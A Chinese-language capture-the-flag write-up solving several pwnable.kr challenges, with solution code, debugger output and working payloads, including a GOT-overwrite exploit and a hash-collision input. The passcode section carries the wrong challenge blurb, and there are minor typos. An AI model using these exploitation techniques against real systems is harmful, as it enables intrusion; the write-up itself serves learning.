if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
  • argc=100:需要额外的99个参数
  • argv[‘A’] = argv[65] = \x00
  • argv[‘B’] = argv[66] = \x20\x0a\x0d

可以使用C代码写一个额外的程序来执行程序input,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
int i;
char *args[101] = {};

for (i = 0; i < 101; ++i)
args[i] = "A";
args['A'] = "\x00";
args['B'] = "\x20\x0a\x0d";
args[100] = NULL;
execve("./input", args, NULL);
}

一定要对字符串指针数组args进行初始化操作,如上的for循环,指向了静态数组”A”,execve执行的时候,识别不到args的大小。

stage2:

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
  • 从标准输入STDIN,也就是fd=0读取4个字节到buf,内容是\x00\xoa\x00\xff
  • 从标准错误STDERR,也就是fd=2读取4个字节到buf,内容是\x00\xoa\x02\xff

可以考虑使用管道的方式,来劫持程序的STDIN和STDERR,
首先定义两个管道pipe_stdin[2]、pipe_stderr[2],定义成大小为2的int数组,是因为一个负责写入、一个负责读取。

1
2
3
pid_t child_pid;
int pipe_stdin[2];
int pipe_stderr[2];

使用pipe()创建管道

1
2
3
4
if (pipe(pipe_stdin) < 0 || pipe(pipe_stderr) < 0) {
perror("error creating pipes\n");
exit(1);
}

随后使用fork()创建子进程,这样可以在父进程中通过管道控制子进程的STDIN和STDERR:

1
2
3
4
if ((child_pid = fork()) < 0) {
perror("error forking child\n");
exit(1);
}

然后根据父进程和子进程的管道数据传输关系,关闭管道相应的文件描述符。例如我们需要父进程向子进程的标准输入STDIN发送数据,那么父进程需要关闭读取端pipe_stdin[0]、子进程需要关闭写入段pipe_stdin[1]。使用dup2复制管道描述符到标准输入和标准错误,最终如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (child_pid == 0) {
close(pipe_stdin[0]);
close(pipe_stderr[0]);

write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
write(pipe_stderr[1], "\x00\xoa\x02\xff", 4);

return 0;
} else {
close(pipe_stdin[1]);
close(pipe_stderr[1]);

dup2(pipe_stdin[0], 0);
dup2(pipe_stderr[0], 2);

close(pipe_stdin[0]);
close(pipe_stderr[0]);
execve("./input", args, NULL);
}

stage3:

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

需要将环境变量deadbeef设置成值cafebabe,很简单,直接使用函数setenv即可。

1
2
3
4
setenv("\xde\xad\xbe\xef", "\xca\xfe\xba\xbe", 1);
extern char** environ;
......
execve("./input", args, environ);

stage4:

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

这个阶段是为了打开一个文件\x0a,读取其中的内容,内容需要为\x00\x00\x00\x00

我们的代码中可以创建该文件,然后调用程序input。在pwnable的上机环境中,可以在文件夹/tmp创建相应的文件。

1
2
3
FILE* fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

stage5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

该代码创建了一个IPv4的TCP协议的socket,绑定在argv[‘C’]指定的端口上,并等待最多一个客户端连接;然后使用accept接受来自客户端的请求,并使用recv读取4个字节,将输入存储到buf中;最后校验buf是否等于\xde\xad\xbe\xef

那么就可以在父进程中创建一个客户端去连接子进程中的socket,并输入数据。在父进程中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
args['C'] = "6666";

sleep(5); // 等待input创建好
int sd, cd;
struct sockaddr_in saddr;
sd = socket(AF_INET, SOCK_STREAM, 0);

if (sd == -1) {
printf("error creating socket\n");
return 1;
}

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(atoi(args['C']));

if (connect(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
printf("error connecting\n");
return 1;
}

write(sd, "\xde\xad\xbe\xef", 4);
close(sd);

exp

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
int i;
char *args[101] = {};
pid_t child_pid;
int pipe_stdin[2];
int pipe_stderr[2];

extern char** environ;

setenv("\xde\xad\xbe\xef", "\xca\xfe\xba\xbe", 1);

for (i = 0; i < 101; ++i)
args[i] = "A";

args['A'] = "\x00";
args['B'] = "\x20\x0a\x0d";
args['C'] = "6666";
args[100] = NULL;
if (pipe(pipe_stdin) < 0 || pipe(pipe_stderr) < 0) {
perror("error creating pipes\n");
exit(1);
}

if ((child_pid = fork()) < 0) {
perror("error forking child\n");
exit(1);
}

if (child_pid == 0) {
close(pipe_stdin[0]);
close(pipe_stderr[0]);

write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
write(pipe_stderr[1], "\x00\x0a\x02\xff", 4);

sleep(5); // 等待input创建好
int sd, cd;
struct sockaddr_in saddr;
sd = socket(AF_INET, SOCK_STREAM, 0);

if (sd == -1) {
printf("error creating socket\n");
return 1;
}

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(atoi(args['C']));

if (connect(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
printf("error connecting\n");
return 1;
}

write(sd, "\xde\xad\xbe\xef", 4);
close(sd);
return 0;

} else {
close(pipe_stdin[1]);
close(pipe_stderr[1]);

dup2(pipe_stdin[0], 0);
dup2(pipe_stderr[0], 2);

close(pipe_stdin[0]);
close(pipe_stderr[0]);

FILE* fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

execve("/home/input2/input", args, environ);
}
}

编译直接运行,并不会输出flag,因为在当前目录下没有flag文件,因此我们需要创建一个链接到flag文件。

1
2
3
4
5
6
7
8
9
input2@pwnable:/tmp/input_own$ ./input
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!

如下:

1
2
3
4
5
6
7
8
9
10
11
input2@pwnable:/tmp/input_own$ ln -sf /home/input2/flag flag
input2@pwnable:/tmp/input_own$ ./input
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)

知识点小结

  • args参数、envs环境变量,两个变量类型都是字符串指针数组,其中的每一个元素都指向一个字符串,而且每一个元素的值都不为空(除了最后一个元素)
  • socket、pipe编程在网络编程中会经常被使用到;pipe、dup2在AFL的源码中也有被使用到,用于将测试数据喂到fork出来的目标程序子进程的标准输入中。

1
2
3
Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
random@pwnable:~$ ls -al
total 40
drwxr-x--- 5 root random 4096 Oct 23 2016 .
drwxr-xr-x 117 root root 4096 Nov 10 2022 ..
d--------- 2 root root 4096 Jun 30 2014 .bash_history
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r--r----- 1 random_pwn root 49 Jun 30 2014 flag
-r-sr-x--- 1 random_pwn random 8538 Jun 30 2014 random
-rw-r--r-- 1 root root 301 Jun 30 2014 random.c

random@pwnable:~$ cat random.c
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

使用rand函数前没有使用srand设置随机数种子seed,那么只要编译一个类似的程序就可以获得默认seed、rand产生的随机数值了。

在目录/tmp/创建一个自己账号的文件夹own,然后新增一个randm.c如下,使用gcc编译后可以获得默认seed产生的第一个随机数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
random@pwnable:/tmp/own$ cat random.c
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!
printf("random=%d", random);
return 0;
}

random@pwnable:/tmp/own$ gcc random.c -o random
random.c: In function ‘main’:
random.c:5:11: warning: implicit declaration of function ‘rand’ [-Wimplicit-function-declaration]
random = rand(); // random value!
^
random@pwnable:/tmp/own$ ./random
random=1804289383

接下来就是计算key值:

1
2
key ^ random == 0xdeadbeef
key = random ^ 0xdeadbeef = 1804289383 ^ 0x0xdeadbeef = 0xB526FB88 = 3039230856
1
2
3
4
5
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
random@pwnable:~$

知识点

Linux下使用rand函数会返回一个随机值,范围从0到RAND_MAX。在使用的时候必须提前使用srand设置好随机数种子seed,如果没有设置seed,rand在调用的时候会自动设置seed为1,此时rand函数产生的随机数值就会一样。日常使用中,通常使用getpid或者time的返回值来作为seed。pwnable这道题目中就是因为没有设置seed,导致rand产生的随机数可以被获取。使用相同的种子调用rand函数,会产生相同的随机数序列。

如下是一个正确的随机数序列生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
int i, n;
srand(time(0)); // 设置随机数种子为当前时间

printf("请输入要生成的随机数个数:");
scanf("%d", &n);

printf("随机数序列:");
for (i = 0; i < n; i++) {
printf("%d ", rand());
}

return 0;
}

1
2
3
4
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

登录上,一开始我是没有意识到这个代码里面有什么错误,输入用户名之后,继续输入passcode1。我输入了338150,然后直接报错segment fault了?!怎么会呢,输入怎么会有错。

后面仔细看才发现,scanf的时候,没有取地址&。那scanf的效果实际上是:写入值到地址=passcode1的值的内存中,即[passcode1]地址处的内存,写入值。

如果能够提前控制passcode1的值(栈变量),或许就可以达到任意地址写入的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
passcode.c: In function ‘login’:
passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
9 | scanf("%d", passcode1);
| ~^ ~~~~~~~~~
| | |
| | int
| int *
passcode.c:14:13: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
14 | scanf("%d", passcode2);
| ~^ ~~~~~~~~~
| | |
| | int
| int *

似乎懂一点意思了,应该是上一个函数welcome栈中局部变量可控,下一个函数login中复用了栈,但是栈中的内容没有被清零,因此只要分析函数welcome中的局部变量name和login函数中的passcode1和passcode2在栈中的空间关系,就可以先在函数welcom中控制passcode1或者passcode2的值,也就是控制任意写的地址。然后在函数login中通过scanf的错误写法,控制任意写的值,最后就达到了任意地址写入的目的。

本质原因是因为这两个函数都是由main函数调用的,而且两个函数的传参数量都一样(都是0),因此两个函数的栈帧也是相同的。如果遇到传参不同或者不同步调用,也可以分析出来偏移关系。

如下是调试的时候,函数welcome和函数login的栈布局,可以看到函数栈的起始地址都是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> info frame 0
Stack frame at 0xffffd220:
eip = 0x8048609 in welcome; saved eip = 0x804867f
called by frame at 0xffffd240
Arglist at 0xffffd218, args:
Locals at 0xffffd218, Previous frame's sp is 0xffffd220
Saved registers:
eip at 0xffffd21c

pwndbg> info frame 0
Stack frame at 0xffffd220:
eip = 0x8048564 in login; saved eip = 0x8048684
called by frame at 0xffffd240
Arglist at 0xffffd218, args:
Locals at 0xffffd218, Previous frame's sp is 0xffffd220
Saved registers:
eip at 0xffffd21c

分析函数welcom中的局部变量name的地址=ebp-0x70;

1
2
3
4
5
  0x804862a <welcome+33>    mov    eax, 0x80487dd
0x804862f <welcome+38> lea edx, [ebp - 0x70]
0x8048632 <welcome+41> mov dword ptr [esp + 4], edx
0x8048636 <welcome+45> mov dword ptr [esp], eax
► 0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>

分析函数login中的局部变量passcode1的地址=ebp-0x10,passcode2的地址是ebp-0xc;

1
2
3
4
5
6
7
8
9
10
11
  0x8048577 <login+19>    mov    eax, 0x8048783
0x804857c <login+24> mov edx, dword ptr [ebp - 0x10]
0x804857f <login+27> mov dword ptr [esp + 4], edx
0x8048583 <login+31> mov dword ptr [esp], eax
► 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt>

0x80485a5 <login+65> mov eax, 0x8048783
0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc]
0x80485ad <login+73> mov dword ptr [esp + 4], edx
0x80485b1 <login+77> mov dword ptr [esp], eax
► 0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>

经过简单的计算,name和passcode1的偏移是96,和passcode2的偏移是100。而name长度最多是100,那么就考虑先使用name控制passcode1中的初始值。

也就是,获取了一个任意地址4字节写入的能力。

利用

利用方式可以考虑plt劫持,可以就近在输入完毕passcode1后,劫持fflush函数到执行system输入flag的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> plt
Section .plt 0x8048410-0x80484b0:
0x8048420: printf@plt
0x8048430: fflush@plt
0x8048440: __stack_chk_fail@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: exit@plt
0x8048490: __libc_start_main@plt
0x80484a0: __isoc99_scanf@plt

pwndbg> x/3i *fflush
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410

exp如下:

1
2
python3 -c "import sys; sys.stdout.buffer.write(b'A' * 96 + b'\x04\xa0\x04\x08' + b'134514147')" > ./payload
python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode

知识点小结

全局偏移表(GOT,global offset table)的作用是将位置独立的地址重定向到绝对地址;函数连接表(PLT,procedure linkage table)的作用是将位置独立的函数调用重定向到绝对地址。

调用函数fflush的时候,实际上并不是直接到flush的代码去执行,而是根据fflush查询到plt表中,jmp跳转到ds:off_804A004,也就是到got.plt表中,此时这个表中已经填充好了fflush函数的绝对地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.plt:08048430 ; int fflush(FILE *stream)
.plt:08048430 _fflush proc near ; CODE XREF: login+2F↓p
.plt:08048430
.plt:08048430 stream = dword ptr 4
.plt:08048430
.plt:08048430 jmp ds:off_804A004
.plt:08048430 _fflush endp

.got.plt:0804A000 off_804A000 dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A004 off_804A004 dd offset fflush ; DATA XREF: _fflush↑r
.got.plt:0804A008 off_804A008 dd offset __stack_chk_fail
.got.plt:0804A008 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A00C off_804A00C dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A010 off_804A010 dd offset system ; DATA XREF: _system↑r
.got.plt:0804A014 off_804A014 dd offset __gmon_start__
.got.plt:0804A014 ; DATA XREF: ___gmon_start__↑r

根据题目描述,猜测程序可能是被压缩了或者加壳了,关键字:packed

1
2
3
4
5
Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

使用checksec查看一下,发现居然可以检测出来是UPX加壳:

1
2
3
4
5
6
7
8
9
$ checksec flag 
[*] '/home/oneshell/PWN/pwnable.kr/flag/flag'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX

使用strings查看一下,可以获取到UPX的版本是3.08,因此下载对应的源码、编译、然后unpack就可以了。

1
2
3
4
5
6
$ strings flag | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
UPX!
UPX!

我在使用Ubuntu22.04编译upx3.08的时候,总会出错,最后直接编译了最新版本,然后解壳:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./build/release/upx -d ../flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX git-57ad6b Markus Oberhumer, Laszlo Molnar & John Reiser Aug 25th 2023

File size Ratio Format Name
-------------------- ------ ----------- -----------
887219 <- 335288 37.79% linux/amd64 flag

Unpacked 1 file.

WARNING: this is an unstable beta version - use for testing only! Really.

此时可以看到flag已经是not stripped了

1
2
$ file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=96ec4cc272aeb383bd9ed26c0d4ac0eb5db41b16, not stripped

然后逆向,交叉引用,就可以看到flag的具体值:

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
1
2
3
.rodata:0000000000496628 aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 ; DATA XREF: .data:flag↓o
.rodata:0000000000496652 align 8

flag = UPX...? sounds like a delivery service :)

知识点小结

查看文件的属性,file、checksec等等,这道题目耗费时间的地方就是UPX编译,其实也可以尝试手动拖。之前在做应急响应的时候,遇到一些样本就会采用UPX加壳,主要是为了减少样本的大小。

1
2
3
4
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

登录上之后,查看文件:

1
2
3
4
5
6
7
8
9
10
col@pwnable:~$ ls -al
total 36
drwxr-x--- 5 root col 4096 Oct 23 2016 .
drwxr-xr-x 117 root root 4096 Nov 10 2022 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col
-rw-r--r-- 1 root root 555 Jun 12 2014 col.c
-r--r----- 1 col_pwn col_pwn 52 Jun 11 2014 flag

如下是col.c的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

要求输入长度为20的字符串,然后将20个字符串划分成5组,并将5组子字符串作为整数依次相加,最后的值如果等于0x21DD09EC,则输出flag。

0x21DD09EC = 568134124;568134124 / 5 = 113626824 余 4;那么就相当于:

0x21DD09EC = 0x6C5CEC8 * 5 + 4 = 0x6C5CEC8 * 4 + 0x6C5CEC8 + 4 = 0x6C5CEC8 * 4 + 0x6C5CECC

那么就可以构造出来字符串了,再考虑到大小端:

1
2
python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"
./col "`python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"`"
1
2
3
col@pwnable:~$ ./col "`python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"`"
daddy! I just managed to create a hash collision :)
col@pwnable:~$